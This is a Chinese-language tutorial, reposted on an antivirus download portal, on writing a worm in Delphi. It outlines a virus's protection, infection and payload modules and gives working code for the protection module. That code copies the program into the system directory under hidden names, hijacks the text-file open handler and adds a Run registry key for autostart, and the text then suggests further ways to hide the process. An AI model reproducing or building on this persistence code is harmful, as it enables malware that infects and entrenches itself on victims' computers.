主 页  下载中心 文章中心 在线杀毒 软件论坛
国内杀毒软件     瑞星杀毒 金山毒霸 江民杀毒 光华反病毒 更多... 木马专杀   木马杀客 木马克星 木马清道夫 AVG(原Ewido)Anti-Spyware 更多...
国外杀毒软件     卡巴斯基   诺顿   趋势 安博士 熊猫卫士  小红伞 驱逐舰 麦咖啡McAfee   NOD32   F-Secure   Dr.Web   Avast   更多...
升级补丁   瑞星升级 金山毒霸升级 江民升级 光华升级 卡巴斯基升级 诺顿升级 趋势升级 安博士升级 NOD32升级 Dr.Web升级 Avast升级
流氓软件清理     360安全卫士 瑞星卡卡   金山毒霸系统清理专家 Wopti流氓软件清除大师   恶意软件清理助手   超级兔子网络卫士 更多...
防火墙     天网 费尔 冰盾 更多... 病毒专题     熊猫烧香病毒专题 电眼间谍病毒专题 AV终结者病毒专题 灰鸽子清理     更多...
系统漏洞补丁     windowXP系统漏洞补丁 window2000系统漏洞补丁 window2003系统漏洞补丁 windowVISTA系统漏洞补丁 更多...
 您当前的位置:爱客者 -> 文章中心 -> 安全技术 -> 杀毒技术 -> 文章内容
浅谈用delphi来编写蠕虫病毒
来源:网络 时间:2006-10-15
{
  注:由于小弟水平有限,并且是小弟第一次写文章,自然难免有很多不足的地方,还请大家包涵!
      如果你有什么意见和建议,也请给我来信,大家互相学习,互相探讨!
}

前言:
     可能大家想到病毒,第一反应就是可能是用asm来编写,或者是vbsript,而高级语言如delphi就好象不能编写一样,其实事实并不是这个样子的,只要我们花一些时间,照样可以写出简短而高效的病毒程序来,一点也不输那些用汇编写出来的程序哦。
     一个病毒程序首先要短小,我们的目标是经过压缩后控制在30k以下。用过delphi的朋友都知道,如果在uses里面加入forms,classes.....等就会使目标文件非常的大,所以,在我们的程序里,我们要尽可能的不用这些库。我们只用windows,winsock,shellapi,sysutils(这个里面包含了一些常用的函数,比如对文件的操作,对字符串的操作,如果用自己的程序来代替,目标文件会更加的小)

首先,我们知道,一个病毒程序一般都分下面三个模块:
    ①保护模块;
    ②感染模块;
    ③发作模块。
下面我们就从这三个模块开始,分别实现他们的代码。

一)保护模块。
   一般,我们都是把自身拷贝到系统的一些目录里,比如%systemroot%
那么,我们首先要取得这些特定的目录的路径
sdk里面给我们提供了一个这样的函数getsystemdirectory
uint getsystemdirectory(
    lptstr lpbuffer,    // 存放返回的字符串的缓冲区
    uint usize            //  上面的缓冲去的长度
   );
相关的函数还有getwindowsdirectory可以得到%windows%的路径

   得到了系统的目录后,第二步就是拷贝文件了。sdk为我们提供了一个函数copyfile
bool copyfile(
    lpctstr lpexistingfilename,     // 源文件的路径
    lpctstr lpnewfilename,    // 目标文件的路径
    bool bfailifexists            // 这是一个标志,如果目标文件已经存在,是否强制覆盖
   );

   拷贝文件完毕后,我们来把这个文件设置为系统和隐藏,那么一般情况是看不见该文件的,
除非选取查看所有文件,以及显示受保护文件。
同样,介绍一个函数setfileattributes
bool setfileattributes(
    lpctstr lpfilename,             // 需要设置的文件的文件名
    dword dwfileattributes     // 设置的值。
   );
我们这里要设置为隐藏和系统,那么就为第二个参数传递file_attribute_hidden+file_attribute_system

  下面就是最重要的,让该文件开机自动运行,我们一般都是写注册表,
首先用regopenkey函数来打开一个键,
long regopenkey(
    hkey hkey,             // 主键,比如hkey_local_machine
    lpctstr lpsubkey,    // 跟随的subkey
    phkey phkresult    // 存放函数返回这个打开的键的句柄
   );
得到了hkey后,就可以用regsetvalueex来向该键写具体的值了。
long regsetvalueex(
    hkey hkey,                // 这个就是刚才我们得到的句柄


    lpctstr lpvaluename,   // 键名的地址
    dword reserved,      // 一般设置为0
    dword dwtype,     // 我们写的键的类型,字符串为reg_sz
    const byte *lpdata,    // 键值的地址
    dword cbdata       // 写入的键值的长度
   );

下面,我综合上面的说明来给出一个简短的例子:
procedure selfcopy;
var
path,value:array [0..255] of char;
hk:hkey;
s:string;
begin
getsystemdirectory(path,256);
//取得系统的路径
s:=strpas(path);
//转换成字符串
copyfile(pchar(paramstr(0)),pchar(s+"\ruin.exe"),false);
copyfile(pchar(paramstr(0)),pchar(s+"\virus_ruin.exe"),false);
//把自身拷贝到系统目录下为ruin.exe,virus_ruin.exe
setfileattributes(pchar(s+"\ruin.exe"),file_attribute_hidden+file_attribute_system);
setfileattributes(pchar(s+"\virus_ruin.exe"),file_attribute_hidden+file_attribute_system);
//设置刚才的两个文件为系统和隐藏
regopenkey(hkey_classes_root,"txtfile\shell\open\command",hk);
value:="virus_ruin.exe %1";
regsetvalueex(hk,"",0,reg_sz,@value,17);
//把virus_ruin.exe和文本文件关联
regopenkey(hkey_local_machine,"software\microsoft\windows\currentversion\run",hk);
value:="ruin.exe";
regsetvalueex(hk,"ruin",0,reg_sz,@value,8);
//设置开机自动运行ruin.exe
end;
我们看上面的这个程序,就完成了自我复制,和开机自动运行,
并且关联了文本文件,这样,如果run下的键被删除,那么他打开文本文件,蠕虫文件又被激活。
不过这个样子,你就需要在你的主程序里面进行判断,如果传递的参数等于1 ,则打开该文本,
并且进行自我保护。
如:
begin
if paramcount=1 then
shellexecute(0,"open","notepad.exe",pchar(paramstr(1)),nil,sw_normal);
//其他的代码

这里,我只是给出一个简单的例子来描述出一个大概的思路,
很多地方还不完善,比如进程的隐藏,
你可以进行判断,
如果是98你可以registerserverapplication如果你是用的2000,你可以做为服务启动,
或者是插入dll,或者是用求职信的方法,开机加载一个dll,或者是win.ini
或者.......................
因为我这里只是浅谈,只给大家提供一个思路,
如果你要深入研究,推荐看看shotgun的《揭开木马的神秘面纱》。

相关新闻
学习从系统中删除病毒2007/6/28
吃透木马运行原理把它扼杀2007/6/28
McAfee杀毒软件高级设置技巧五招2007/6/28
隐藏文件看不到?中毒了!2007/6/25
360安全卫士推出集三重防护理念2007/6/25
 
    其它相关新闻
·学习从系统中删除病毒
·吃透木马运行原理把它扼杀
·McAfee杀毒软件高级设置技巧五招
·隐藏文件看不到?中毒了!
·360安全卫士推出集三重防护理念
·使用杀毒软件应该注意什么
·CA发布声明:我的杀毒软件漏洞很大
    最新新闻
·磁碟机病毒的十大罪行
·病毒预警:光华反病毒资讯(7月16日-7月22日)
·病毒预警:光华反病毒资讯(7月9日-7月15日)
·用Regsvr32命令解决系统疑难杂症
·Windows的DLL文件原理与修改方法
·如何隐藏硬盘分区
·攻防全面分析 常用九种攻击方法
·卡巴再次误报 将注册表判为木马
·英特尔酷睿2存在安全缺陷
    相关软件下载
·AVG(原Ewido)Anti-Spyware最新完整病毒库更新(2008.06.02)-Anti-Spyware升级包
·AVG(原Ewido)Anti-Spyware每日增量病毒库更新(2008.06.02)-Anti-Spyware升级包
·Kaspersky Anti-Virus7.0.0.125增量包(2008.05.31)-卡巴斯基升级包
·Kaspersky Internet Security7.0.0.125完整升级包(2008.06.01)-卡巴斯基升级包
·熊猫卫士06月01号最新病毒升级包通用版-熊猫卫士升级包
·Avast杀毒软件病毒库升级包(2008-06-01)for avast! 4.0 VPS更新-Avast升级包
·Avast杀毒软件病毒库升级包(2008-06-01)for avast! 4.x VPS更新-Avast升级包
·小红伞AntiVir最新病毒库(2008.06.01) for WindowsNT/2000/XP-小红伞升级包
·McAfee VirusScan DAT 5306病毒库-麦咖啡升级包
·更多相关杀毒软件
  [本站导航]  
瑞星  瑞星杀毒软件瑞星升级包 瑞星杀毒瑞星2007 瑞星在线杀毒瑞星杀毒软件下载瑞星升级
卡巴斯基  卡巴斯基下载卡巴斯基6.0卡巴斯基杀毒软件卡巴斯基7.0卡巴斯基病毒库卡巴斯基升级包
江民  江民杀毒软件江民杀毒江民2007江民杀毒软件下载江民升级包江民升级江民离线升级包
金山毒霸  金山毒霸2007下载金山毒霸下载金山毒霸2007升级包金山毒霸升级金山毒霸杀毒软件
诺顿  诺顿杀毒软件诺顿杀毒诺顿病毒库诺顿企业版诺顿升级包诺顿升级诺顿下载
小红伞AntiVir  德国小红伞小红伞下载小红伞中文小红伞杀毒软件小红伞汉化Avira AntiVir
麦咖啡McAfee  麦咖啡杀毒软件麦咖啡升级包麦咖啡8.0麦咖啡企业版麦咖啡8.5mcafee virusscan
NOD32  nod32升级nod32升级服务器nod32下载nod32 2.7nod32升级idnod32更新nod32升级包
F-Secure  F-secure杀毒软件f-secure anti-virusF-secure汉化版F-secure注册机F-secure2007
Dr.Web  dr.web keydr.web cureitdr.web注册码dr.web汉化dr.web病毒库大蜘蛛大蜘蛛杀毒软件
Avast  avast注册码 序列号avast antivirusavast杀毒软件avast中文版avast 升级avast升级包
木马专杀  木马杀客木马克星AVG Ewido Anti-SpywareAVG Ewido Anti-Spyware升级包 更新
防火墙  瑞星防火墙天网防火墙arp防火墙瑞星个人防火墙江民防火墙防火墙下载风云防火墙
流氓软件清理  瑞星卡卡360安全卫士Wopti流氓软件清除大师奇虎360安全卫士360安全卫士绿色版
推荐软件  Firefox火狐浏览器浏览器Picasa照片处理软件非主流图片制作软件非主流照片制作
关于本站 - 广告合作 - 联系我们 - 下载声明 - 网站地图 - RSS2.0 - 合作伙伴:爱客宝
Copyright©1998 - 2007 爱客者 All Rights Reserved

粤ICP备07006801号